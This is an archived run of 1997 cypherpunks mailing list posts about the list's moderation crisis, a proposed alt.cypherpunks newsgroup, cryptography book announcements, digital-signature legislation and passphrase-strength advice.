   Planck home to investigate the children's alleged vision problems.
   Based on that visit, a judge ordered that their eyes be examined. A   
   month later, police invaded the Planck home and forcibly removed the
   children. The tort notice describes other encouters, including tear
   gas canisters lobbed into their home and warrantless arrests.      
        
       "I've known the Plancks for a long time," said Brent Tobin, an
   electrical engineer who mirrored the web site. "I've lived in the town
   all my life. I know there's nothing going on there. The deputy        
   prosecutor made them out to be religious weirdos, but they're not."

       "I put up the web site since I don't feel that the county  
   government should have jurisdiction over the World Wide Web. I think
   there should be freedom of speech. I feel gag orders are a violation
   of rights," Tobin said.

        For his part, Judge Spencer emphasized that his gag order        
   "expires at the end of the case. Free speech is an important right and
   I'm going to be the last person to have a problem with it."

        What about the mirror site? Has his order accomplished anything?
   "The Planck supporters are going to put it on there," Spencer replied.
   "If you're suggesting that I'm tilting at windmills, perhaps you're
   right."
   
###








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Tue, 11 Feb 1997 07:01:48 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111501.HAA20769@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How do you encourage people to use resources more-or-less wisely?

1.  The socialist/nanny model - take charge and give 'em orders

We've tried that and it apparently didn't work out.

2.  The market model - charge people for what they use

A while back, omebody suggested a system which would be self-funding, by
charging people for each post they made.  Maybe we should try it?  If
each little piece of ASCII art cost a poster a buck or two to send, he
might send fewer.  On the other hand, we don't want to discourage
interesting posters, so I think some system to reimburse interesting
posters would be useful.

I'm not the guy to set up the system, but I'll happily buy a modest amount
of "posting tickets."

Brad



On Tue, 11 Feb 1997, John Gilmore wrote:

> Sandy hit a pothole in the moderation experiment when Mr. Nemesis
> submitted a posting containing nothing but libelous statements about
> Sandy's employer.  He never anticipated that he wouldn't be able to
> follow his announced "post it to one list or the other" policy because
> to do so would make him legally liable (in his opinion; he's a lawyer,
> I'm not).  His gears jammed, and the whole machine came to a halt for
> a few days.
> 
> Sandy has agreed to continue moderation through the end of the
> original 1-month experiment (through Feb 19).  And it's a good thing,
> too, because the "cypherpunks community" had better get off its
> whining butt in the next ten days, or it will no longer exist.
> 
> I've come to the conclusion that I'm not willing to host the
> cypherpunks list any more.  It's not the true assholes that brought me
> to this decision; it's the reaction from the bulk of people on the
> list: suspicion, flamage, and criticism with every attempt to improve
> things.  I noticed few people volunteering some of their own time,
> money, or machines to help out.  Almost all the suggestions were
> advice for *other* people to implement:
> ...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Tue, 11 Feb 1997 08:59:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] Classic Cryptography
Message-ID: <199702111659.IAA22423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




                    FOR IMMEDIATE RELEASE

                       6 February 1997


Aegean Park Press proudly announces publication of CLASSICAL
CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols
[LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ]
 
Volume II presents Lectures 11 - 22 (of a total of
twenty five) from his successful course in Classical
Cryptography taught in 1995 and 1996 to 391 students via
the Internet and an additional 65 via regular mail.

Volume II covers polyalphabetic substitutions ciphers in
the Vigenere family (Viggy, Variant, Beaufort, Porta,
Gronsfeld, Portax, Gromark), decimation, principles of
symmetry, isologs and superimposition solution
techniques.  Volume II describes the difficult aperiodic
cipher systems (Interrupted key, Autoclave, Progressive,
Running Key used in cipher machines) and their analysis
by isomorphs, and repetitions. Cryptarithm solutions for
extended bases are presented. The theory of coincidences
and statistical attacks (Kappa, Chi, Phi) derived from
this important theory are detailed.  Transposition
theory and a variety of transposition ciphers are solved
(Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman,
Auto-Transposition).  Volume II has two chapters on the
difficult cipher systems invented by the famous French
cryptographer Delastelle: Foursquare, Bifid and Trifid.
Volume II presents a detailed chapter on passwords, law
and data protection.  Volume II ends with a historical
look at codes, commercial code systems, and famous
cipher machines.  Volume II is a potpourri of advanced
topics in classical cryptography.

The Cryptographic Resources and References section has
been expanded to cover all phases of involvement with
cryptography: cryptanalysis, history, legal, social,
classical, modern, NSA, mathematical techniques,
recreational, intelligence, tactical, strategic,
National Defense, INFOSEC: offensive and defensive,
hardware, software, standards, public key cryptography,
web sources, and applicable Senate and House bills.
Readers are encouraged to expand their knowledge in the
many directions possible to them through this section.
 
For orders or Information Contact: Aegean Park Press, P.O.
Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587;
Fax: 1-714-586-8269.  Group discounts available.
 







REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I
By the Honorable David Kennedy, Director of Research,
NCSA.


     Classical Cryptography Course, Volume I.  By
Randall K. Nichols; published by Aegean Park Press,
(714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736
- 3587; 301 pages (with index); $34.80 (American
Cryptogram Association members receive a 20% discount
through ACA or NCSA Members receive a 10% discount if
purchased from the NCSA Bookstore)

     In Classical Cryptography Course, Volume I, author
Randall K. Nichols has created a benchmark for serious
students of the science of cryptography.  This is a
text.  It is for learning, and with it one cannot help
but learn about the foundations of the science.  An
outgrowth of Nichols' admitted "labor of love" in the
online Cryptography Courses he teaches over the
Internet, Volume I creates the foundation for
understanding the development of the science.

     The ten chapters of this volume lead the student
through simple substitutions, substitutions with
variants, multiliteral substitutions, xenocrypts
(foreign language substitutions), cryptarithms, the
Enigma machine (separate Enigma95 program disk available
direct from the author) and finally to polyalphabetic
substitutions.  Seven chapters conclude with problems;
solutions and discussions are provided in an appendix.
The text is indexed with twenty-four pages of references
for further study.

     I found Nichols' sense of the history of
cryptography particularly noteworthy.  The volume is
liberally salted with citations from history with
applications of the methods developed in the text.  From
Revolutionary France through the American Civil War, the
Tammany Hall scandal, Revolutionary Soviet ciphers and
Japanese successes against Chinese codes prior to Pearl
Harbor, the text provides touchstones for student to
understand and relate to.

     Phil Zimmermann observed in the documentation to
his Pretty Good Privacy Program to "Beware of Snake
Oil." Among his arguments is this anecdote:

     I remember a conversation with Brian Snow, a highly
placed senior cryptographer with the NSA.  He said he
would never trust an encryption algorithm designed by
someone who had not "earned their bones" by first
spending a lot of time cracking codes.

     Where Schneier's Applied Cryptography is a crash
course in some encryption protocols and algorithms in
use today, Nichols' text begins the teaching of Snake
Oil detection and prevention.
Learning the fundamentals, developed throughout the
text, brings a richer understanding of the science, it's
history and insight into it's possibilities and some
vulnerabilities lurking for the unwary.

     Nichols plans for release Volume II in the series
with advanced material on from the online course which
includes statistical attacks and transposition in
February, 1997.

Reviewer:  Dave Kennedy, CISSP, is Director of Research
for the National Computer Security Association,
Carlisle, PA.  He is a retired Army military police
officer and member of NCSA, ASIS, ISSA and the Computer
Security Institute.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 11 Feb 1997 09:06:40 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111706.JAA22531@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote:
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                          SANDY SANDFORT
> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
>C'punks,
>
>You have probably just read John's post.  I truly hope YOU (each
>and every one of you) can rise to his challenge.  If you have 
>offered nothing in the past but criticism, it's now time to get a
>bit more real.  What will it be, your money, time, equipment?

What kind of memory requirements/machine load does the list eat up?  I have a
machine that may fit this purpose...  (Need to know if I need to upgrade the
box though.)


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O
1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV
T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q
OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT
fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX
7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ==
=CWO1
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 09:21:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702111721.JAA22739@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



(Please leave my name in any replies to ensure I see your comments.)

I talked to Hugh Daniel at the Saturday meeting about the creation of an
"alt.cypherpunks" unmoderated (of course) newsgroup as a possible
alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
Gilmore were there for part of the discussion, too.

(We did not, unfortunately, get to the "future of the list" topic at the
physical meeting...the excellent presentations ran way over the expected
time and we never got to this topic. Sort of too bad, given John's edict
that we have 10 days to find and implement an alternative....)

A Usenet newsgroup has many advantages and disadvantages. Whether it might
be gatewayed to other mailing lists--perhaps even the list(s) which
survives "cypherpunks@toad.com"--depends of course on the decision of those
hosting others lists.

A charter statement is needed, and then the issuance of a creation message.
A better charter statement will increase the chances of more sites carrying
the newsgroup. While many sites carry essentially all newsgroups--more than
30,000--, some sites do not and only carry some of the alt.heirarchy. And
some sites do not carry _any_ of the alt newsgroups.

At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
Suggestions for additional language or changes are welcome.

Charter for alt.cypherpunks: (suggested)

"Alt.cypherpunks is for the unmoderated discussion of cryptography and the
political, social, and economic implications of unrestricted, strong
cryptography. The Cypherpunks grpup has existed since 1992 and has been
central in the debate about strong crypto, government restrictions, crypto
anarchy, and in showing weaknesses of various ciphers and security
products. The mailing list has had as many as 1500 subscribers, plus
gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
will be a free-wheeling forum for many viewpoints. As it is unmoderated,
readers are strongly advised to learn how to use filters and other tools
for making virtual anarchies manageable for their own tastes."

I invite your comments, editorial suggestions, etc. Perhaps when enough of
the "collective mind" has made inputs (ughh!), the charter can be submitted
with the creation message. (I'm not knowledgeable about the process, but
I'll bet many of you are.)

There are of course disadvantages to such a newsgroup, as any Usenet user
certainly knows. However, there are advantages as well. Here are some of
each:


* Advantages:

- Usenet is set up to automagically propagate articles across tens of
thousands of sites.

- there is no "nexus" of control, no chokepoint, no precedent (in the U.S.)
for halting distribution of Usenet newsgroups. (Canada stopped some
Homulka-Teale newsgroups a few years ago, other countries have blocked
entire sections, but note that the Scientologists have been unable to block
"alt.religion.scientology"...I surmise that a mailing list version of
a.r.s. would have faced lawsuits against the list.owner, if reachable in
U.S. or European courts...a lesson to think about with the current
imbroglio over certain claims about certain products and the possible
liability of Sandy and/or toad.com.)

- fairly sophisticated newsreading software already exists.

- no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers
to discover the group, read it for a while, then stop. It also, of course,
increases the number of "What is crypto?" sorts of messages.)

- persons cannot be unsubscribed from an unmoderated list

- with a Usenet group, there is no ability to impose notions of "order" on
the list (e.g., requirements for PGP-signing, demands for "on-topic" posts,
removal of "illegal" posts, etc.). Thus, people must deal with a virtual
anarchy by using proper tools, by ignoring what they don't want to see, or
by contracting out the role of "nanny" to others.


* Disadvantages

- Usenet newsgroups are easy targets for spammers, even more so than are
mailing lists.

- crossposting often gets out of hand. (With 30,000+ newsgroups, even
well-intentioned posters often pick the "three or four most likely" targets
for their posts).

- propagation is often spotty, and some sites have no access at all to the
"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
to mailing list gateway is possible for these readers.)

- propagation may be slower than mailing lists.

- Usenet is of course archived and easily searchable via Alta Vista, Deja
News, etc.. This bothers some people. (However, the CP mailing list is now
also archived and searchable, so the disadvantage is becoming moot.)

- persons cannot be unsubscribed from an unmoderated list (this is also an
advantage, of course)

- there will be more newbie-type messages, as casual browsers of Usenet
discover alt.cypherpunks and ask questions. This is both a disadvantage and
an advantage.


* Discussion of some of these points:

1. The issue of slow- or non-propagation can be handled by having mailing
lists which bounce the traffic (from a well-connected site) to folks who
get slow distribution, or no distribution at all. News to mail gateways, in
other words. Traffic in the reverse direction (end reader back to
alt.cypherpunks) can be handled either by "blind posting" to the a.c.
newsgroup, via one's newsreader, or through mail-to-news gateways, or
perhaps via the distributor described here.

2. And the services of "moderators," such as Eric Blossom's and Ray
Arachelian's "best of" lists, or even Sandy's list, are of course still
possible. A newsgroup does not change this, except for the latency in
getting messages out to newsgroup sites.

3. The advantages of a "no nexus, no chokepoint" distribution are huge. The
Usenet carries huge advantages in terms of having no place to attack it.

4. Some have raised the point that Usenet is "inefficient" and should not
be used for this reason. Well, it may indeed be ineficient, but the costs
have already been incurred, and alt.cypherpunks would only be 1/30,000th of
additional load (very roughly speaking). In other words, might as well use
what's out there. If a "second Usenet" ever comes into existence, fine.

5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At
that time, we thought the mailing list had some major advantages. In my
view, the situation has changed dramatically since then. The mailing list
has become huge, the volume of noise has increased, majordomo is allowing
the list to be used for spamming (any 'bot system will probably have this),
and the list is already gatewayed to many sites as a _newsgroup_ anyway.

So, I think the time has come to just create it. The "activation energy
barrier" of a mailing list, where people would have to make the effort to
subscribe, has long since become irrelevant.

It may be a target for spammers, but it's hard to imagine it being much
worse than what we have now.

Usenet is an anarchy. We might as well use it.

I've never created an alt group, but I presume many of you have (and I know
of one currently fed up Cypherpunk who created the entire alt.* hierarchy a
decade or so ago). I presume some of you can thus help in such an effort.

--Tim May






Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 09:01:29 -0800 (PST)
To: cryptography@c2.net
Subject: DCSB: Online Government & Electronic Commerce - Legislation and Public Sector Initiatives
Message-ID: <199702111701.JAA22458@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                       Daniel Greenwood, Esq.
                       Deputy General Counsel
                  Information Technology Division
                   Commonwealth of Massachusetts

             "Online Government & Electronic Commerce -
              Legislation and Public Sector Initiatives"



                        Tuesday, March 4, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA


Dan will give us an update on recent information age legislative and
operational developments in the public sector.  Special attention will be
paid to: Electronic Signature and Record Legislation; Joint
Government/Private Sector Attempts to Set Certification Authority
Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated
State-Federal-Foreign Electronic Commerce Policy Initiatives; and much,
much more . . .

Speaker:
Daniel Greenwood, Esq.
Information Technology Division, Deputy General Counsel
Commonwealth of Massachusetts
Office: http://www.state.ma.us/itd/legal
home: http://www.tiac.net/biz/danielg

Mr. Greenwood practices information technology law for the Commonwealth
of Massachusetts.  Recent relevant activities include:
* Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act
* Chairman of the Commonwealth of Mass. PKI Task Force
* Chairman of the ABA Info. Security Comm., Legislative Sub-Committee
* Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group
* Contributing Author: ABA Digital Signature Guidelines
* Negotiator of Contracts for Internet Security and Payment Systems
* Board Member of SigNet.Org and Chair of Legal Special Interest Group
* Director of the Virtual State House Project (MIT/Stanford Law School)
* Faculty Member: MCLE Health Care & Info. Technology Program
* Guest Lecturer for Suffolk Law School High Tech. Symposium
* Selection Board Chairman for First Commonwealth of Mass. C/A Business


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, One Federal Street. The price for lunch is
$27.50. This price includes lunch, room rental, and the speaker's lunch.
;-).  The Harvard Club *does* have dress code: jackets and ties for men,
and "appropriate business attire" for women.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, March 1, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston".

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Planned speakers for DCSB are:

March  Daniel Greenwood  The Role of State Government in Digital Commerce
April  Stewart Baker     Encryption Policy and Digital Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

Looking forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Tue, 11 Feb 1997 09:13:23 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702111713.JAA22632@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> John Gilmore writes:

JG> Sandy has agreed to continue moderation through the end of the
JG> original 1-month experiment (through Feb 19).  And it's a good
JG> thing, too, because the "cypherpunks community" had better get off
JG> its whining butt in the next ten days, or it will no longer exist.

[...]

JG> This is a "put up or shut up" to the cypherpunks community.

	This appears to be as good a time as any to announce that I'm
"putting up".  I've already taken steps, along with Jim Choate, to
start a network of majordomos hosting a Cypherpunks mailing list.  I
didn't intend to announce this until Jim and I had gotten the first
pair of 'domos working properly, but this means that we'll need to
speed things up.  Our intention is to have a set of majordomos which
are intersubscribed to a cypherpunks list on each one, with measures
taken to ensure that mail loops don't develop.  As the resulting
mailing list from each 'domo will be identical, periodically
(initially weekly), the subscriber lists of all of the participating
majordomos will be compared, with any duplicate subscribers being
removed from the 'domo(s) with the longest subscriber list.  There
will be no filtering done of any mail to the collective list, although
anyone interested in providing a filtered list will be welcome to
subscribe to the list.  Anyone interested in joining the 'domo network
with the conditions described (duplicate subscriber checking and no
filtering) is welcome.

	John, I'd appreciate your permission to use your Cypherpunks
welcome message as the basis for the welcome message of this new list.
Also, while we will make every effort to have this new list available
for subscriptions by Feb 20, I'd appreciate it if you could consider
making the current list available for a short period longer if we
encounter unanticipated difficulties.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
ObCDABait:      For she doted upon their paramours, whose flesh is as the
flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
ObFelony: President Clinton, you suck, and those boys died!
Unsolicited bulk email will be stored and handled for a US$500/KB fee.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Tue, 11 Feb 1997 09:21:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Digital Signature Legislation (MN)
Message-ID: <199702111721.JAA22727@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Minnesota Legislature has a bill pending in both houses regarding
digital signatures, defines certification authorities, and provides
for licensing of authorities.

http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=H0056.0&session=ls80
http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=S0173.0&session=ls80

A quick read looks good, although I am not a lawyer. This only affects
digital signatures used in financial transactions, AFAIK, and does
not prohibit non-licensed cert authorities.


-- 
Kevin L. Prigge                     | Some mornings, it's just not worth
Systems Software Programmer         | chewing through the leather straps.
Internet Enterprise - OIT           | - Emo Phillips
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 11 Feb 1997 08:58:24 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Passphrase generation
Message-ID: <199702111658.IAA22391@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You want to think about how does someone attack the passphrase?

Essentially, there are dictionary methods, where probably passphrasess
are checked.  These are enhanced by the use of changers, where the
word is modified in ways common to people changing passwords:

target
Target
targeT
target0
0target
target1

Crack, by Alex Muffet, produces on the order of 1000 derived words per
word its given.

I use phrases of 30-90 pink elephants with some arbitrary pizzas tossed on
the floor.

Adam


Jeremiah A Blatz wrote:
-- Start of PGP signed section.
| Internaut <unde0275@frank.mtsu.edu> writes:
| > Hi,
| > I am wanting to learn how to generate a passphrase that is at least as
| > strong as the IDEA algorithm.  I have looked several other places on the
| > web for an answer to this, but they all had different things to say that
| > didn't add up (no pun intended :).
| 
| Chech out the cannonical passphrase FAQ:
| http://www.stack.nl/~galactus/remailers/passphrase-faq.html
| 
| This one has some quick reminders of what to do and not to do
| http://www.encryption.com/pphrase.htm
| 
| Bottom line, totally random ASCII will have lots of bits per
| character, but english has about 1.2 bits per character. Misspellings
| can add to that, depending on the extent of mutillation . Combining
| certain words can make your passphrase weaker (such as "To be or not
| to be," "This is my passphrase," etc.).
| 
| HTH,
| Jer
| 
| "standing on top of the world/ never knew how you never could/ never knew
|  why you never could live/ innocent life that everyone did" -Wormhole
-- End of PGP signed section.


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 09:12:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: STE_pup
Message-ID: <199702111712.JAA22612@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97:

"Euro's creation raises money laundering fears"

  OECD task force report(*) identifies perils of a
  single currency and suggests Russian crime groups
  are linking up with the Mafia and Colombian drug
  cartels for laundering the new currency. Warns of other
  e-cash hazards.

"Visa to Test Cards For Possible Use On the Internet"

  E-cash cards to be manufactured by Schlumberger and
  will use  "virtually unbreakable" public-key cryptography.

"Computer Security Becomes Biometric With Print Matching"

  Oracle's new fingerprint checking device to assure bona fide
  log-on privileges. Covers other such devices, quotes a maker:
  "if criminals or hackers get through these, industry will
  step up one more level."

-----

STE_pup

* A search is on for the report. Leads welcomed. The task force
met last week in Paris.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 09:06:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: STE_pup
Message-ID: <199702111706.JAA22519@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


2-10-97:

"Euro's creation raises money laundering fears"

  OECD task force report(*) identifies perils of a
  single currency and suggests Russian crime groups
  are linking up with the Mafia and Colombian drug
  cartels for laundering the new currency. Warns of other
  e-cash hazards.

"Visa to Test Cards For Possible Use On the Internet"

  E-cash cards to be manufactured by Schlumberger and
  will use  "virtually unbreakable" public-key cryptography.

"Computer Security Becomes Biometric With Print Matching"

  Oracle's new fingerprint checking device to assure bona fide
  log-on privileges. Covers other such devices, quotes a maker:
  "if criminals or hackers get through these, industry will
  step up one more level."

-----

STE_pup

* A search is on for the report. Leads welcomed. The task force
met last week in Paris.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 21:55:47 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120555.VAA07276@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
>If the people decide for creation of a new USENET newsgroup,
>we need to think very hard about actually moving it to a different
>hierarchy from alt.*. I would propose comp.org.cypherpunks,
>comp.cypherpunks, sci.crypt.cypherpunks or something like that.
>
>A comp.* or sci.* newsgroup, if created, has the following advantages
>over an alt.* newsgroup:
>
>1) There is usually less spam in sci.* or comp.*
>2) There are virtually no completely irrelevant flamewars
>3) The propagation will be a lot better
>4) More people will be able to read it because of the issue of providers
>   not carrying alt.*.
>
>I see nothing that would make a sci.* or comp.* newsgroup  worse than
>alt.* newsgroup.

Sure, and this has come up in every past discussion of creating
"alt.cypherpunks."

But the creation of alt.cypherpunks is _easy_, and needs little permission
or support, whereas the creation of "soc.culture.cypherpunks" or whatever
takes work, requires a vote, blah blah blah. And so it never gets off the
ground.

(Nor is it clear to me, and perhaps not to others, that it belongs in the
the various places Igor mentioned. Comp.org.cypherpunks probably is the
best fit, but then many would cite the "comp" part to try to insist that
only _computer_ topics be discussed. Likewise, the "soc" domain would skew
discussion...etc. "Alt" has the nice advantage of explicitly not be part of
sci, or comp, or soc, or even talk.)

Since posting my comments I've just seen the proposal that tivoli may host
a list. Fine with me. But I wonder how long Tivoli and its parent company,
IBM, will tolerate such things as postings of dumpster divings at Mykotronx
and RSADSI, of deliberate slams against Tivoli products (a la the case John
Gilmore referred to this morning), postings about assassination markets,
and so on.

I still feel that the time has come to move virtual forums such as ours out
of U.S. jurisdictions. Given that most European nations are worse in some
ways (no Holocaust denial posts allowed in "cypherpunks@foobar.de"?), I
recommend the alt.cypherpunks as the best overall compromise.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 21:57:25 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
Message-ID: <199702120557.VAA07288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:

>    tim:
>
>    two points you make:
>
>    1.  the propogation is slow...
>
>    2.  some sites do not carry alt. groups
>
>    are enough to kill an active discussion list. of course, it does
>    slow down excessive volume.

Good points. However, I'm used to fairly robust debate on Usenet, and the
prop delay does not seem too stifling to me. As you note, it cuts down on
immediate replies; this may not be a bad thing.

I see any site which can be identified with a corporate or institutional
entity--like C2Net, toad, Tivoli, Primenet, Netcom, whatever--being
targetted if a controversial mailing list is hosted at that site.

(This may not have been the case when the list was full unmoderated, and
was only a "reflector" or exploder of incoming messages. As soon as a
moderator started passing on some messages and rejecting others, the
precedent was set (somewhat) for charges that a site or sysadmin is now
liable. This has not been tested in court, of course, but I fear this is
how things will go. As I mentioned in another message, had the traffic in
alt.religion.scientology instead flowed through a site such as
"scientology@primenet.com," the operators of Primenet and the sysadmin of
that mailing list almost certainly would have received "decease and cyst"
orders. Remember that Netcom was hit with similar orders. Usenet cannot be
stopped in this way. A major strength.)



>    I vote we just set up a new majordomo with some additional antispam
>    filters including knocking out exploding mail headers, etc. I would
>    accept excluding non-members as long as we take the remailers which
>    are listed with either JP or RL.

This is a suggestion I have long thought to be a good one. Only allow posts
from list subscribers, and make a special exception for remailers by adding
them to the approval list. Figure if a spammer is smart enough to know what
a remailer is, at least see her traffic for a while. Drop the inclusion of
remailers if volume is too high.

(Or, put remailer messages in a special place. An ftp or Web site, for
retrieval. Or  have list members "vet" the remailed messages, as someone
was suggesting a few months back. Or....)

>    Likewise, Jim Choate and Sten Drescher apparently are trying to
>    establish a multi-site majordomo.  the extra work of maintaining
>    non-duplicates and sychronization makes the task non-trivial and
>    questionable...

Yeah, it seems to be one of those potentially good ideas that will just
never get done, due to the difficulties, the maintenance, and the press of
other projects. (And even if it gets done, which I hope for of course, I
doubt many of us will want anything with added complexity, new commands for
our posting software to deal with, etc. So, it will have to look just like
an ordinary mailing list, with the mirroring handled transparently.)

